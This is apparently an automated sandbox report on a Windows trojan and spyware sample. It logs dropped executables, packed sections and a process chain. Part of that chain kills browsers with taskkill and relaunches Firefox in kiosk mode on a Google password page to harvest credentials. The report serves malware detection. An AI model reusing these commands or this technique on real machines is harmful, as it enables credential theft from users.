Source: file.exe, 00000000.00000003.1478700418.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474598529.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1478304438.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474237928.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1510424781.0000000005794000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474967386.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469282963.0000000005D09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1477622777.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1472631987.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470407648.0000000005C76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470958944.0000000005C89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464016965.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1472320831.0000000005D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471362285.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469093600.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1510479761.0000000005822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476447156.0000000005CC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1479695972.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1478429945.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469187666.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471989187.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1473467060.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476702599.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1472947460.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466895239.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474363438.0000000005CB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470219497.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1473279501.0000000005D99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1478075094.0000000005BC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1485437996.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1478889505.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471058129.0000000005D57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1475529681.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469775682.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471160760.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1480229201.0000000005E31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470773414.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476296033.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1481383490.0000000005CFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1478573723.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1475282820.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1506423056.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471875356.0000000005C99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470534545.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1477476635.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1464097002.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1483431135.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476985539.0000000005DED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1475909857.0000000005DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474842794.0000000005BCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1478173531.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1477120864.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1463690814.000000000586F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1510540713.0000000005722000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1470012229.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1510713355.000000000110D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1474111254.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1466473876.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1468817806.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476059146.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1473186618.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1472216136.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1479498056.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1473072585.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476174408.0000000005CC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1476577369.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1471768953.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1472432544.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1469580039.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979244220219435
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998052196866485
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: Section: cicynwpg ZLIB complexity 0.9946367793580773
Source: skotes.exe.11.dr	Static PE information: Section: ZLIB complexity 0.998052196866485
Source: skotes.exe.11.dr	Static PE information: Section: cicynwpg ZLIB complexity 0.9946367793580773
Source: random[1].exe.17.dr	Static PE information: Section: ZLIB complexity 0.9979244220219435
Source: 100bc97ff1.exe.17.dr	Static PE information: Section: ZLIB complexity 0.9979244220219435
Source: random[1].exe0.17.dr	Static PE information: Section: ksqqhkwn ZLIB complexity 0.99493408203125
Source: 76bf5a4dba.exe.17.dr	Static PE information: Section: ksqqhkwn ZLIB complexity 0.99493408203125

Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.17.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.11.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 100bc97ff1.exe.17.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@48/27@46/12

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Code function: 10_2_04BD15D0 ChangeServiceConfigA,

10_2_04BD15D0

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7960:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;DELETE FROM events WHERE timestamp >= date(:date);SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;FX_URLBAR_QUICK_SUGGEST_REMOTE_SETTINGS_LATENCY_MSget MAP_KEYWORD_PREFIXES_STARTING_AT_FIRST_WORD/<#setCountersResetInterval/this._impressionCountersResetInterval<resource://services-settings/remote-settings.sys.mjsresource:///modules/urlbar/private/BaseFeature.sys.mjsbrowser.urlbar.quicksuggest.impressionCaps.stats changedurlbar-result-menu-learn-more-about-firefox-suggesturlbar-result-menu-learn-more-about-firefox-suggesturlbar-result-menu-learn-more-about-firefox-suggestNo keywords defined, stopping suggestion fetchingget MAP_KEYWORD_PREFIXES_STARTING_AT_FIRST_WORD/</prefix<resource://gre/modules/PrivateBrowsingUtils.sys.mjsbrowser.tabs.remote.separatePrivilegedMozillaWebContentProcessRejected FxA webchannel message from remoteType = keyRotationSecret must be a 64-character hex stringbrowser.urlbar.quicksuggest.blockedDigests value: keyRotationTimestamp must round to a 10-digit numberTrackingDBService: Shutting down the content blocking database.QuickSuggest: Record impression counters reset telemetrybrowser.urlbar.quicksuggest.blockedDigests changedMin length is undefined or zero, using full keywordsUnable to check for private browsing mode, assuming trueThe FxA server did not grant Firefox the `oldsync` scopeFxA WebChannel functionaly is disabled due to no URI pref.amazondotcom@search.mozilla.orgdefaulturlbar-result-menu-learn-more-about-firefox-suggestbrowser.contentblocking.cfr-milestone.milestone-achievedbrowser.contentblocking.cfr-milestone.update-interval
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2924896477.000001DF1C617000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;
Source: file.exe, 00000000.00000003.1328896165.0000000005765000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315207891.0000000005756000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1315542110.0000000005738000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2256896884.0000000005732000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2256657405.0000000005713000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2270349906.0000000005731000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257383273.0000000005700000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2401823545.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2417964877.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);

Source: file.exe

ReversingLabs: Detection: 39%

Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe "C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe "C:\Users\user~1\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe"
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe "C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe "C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe "C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe "C:\Users\user~1\AppData\Local\Temp\1002598001\ee3f3c2bda.exe"
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {db3c9087-adfb-46b4-b057-3fef806f712c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df0ee6df10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002599001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002599001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe "C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=920 -parentBuildID 20230927232528 -prefsHandle 3540 -prefMapHandle 2836 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c503f6a-c2b4-4421-a458-09ae7f72f09c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df2101c210 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002600001\test.exe "C:\Users\user~1\AppData\Local\Temp\1002600001\test.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe "C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe "C:\Users\user~1\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe "C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe "C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe "C:\Users\user~1\AppData\Local\Temp\1002598001\ee3f3c2bda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002599001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002599001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002600001\test.exe "C:\Users\user~1\AppData\Local\Temp\1002600001\test.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
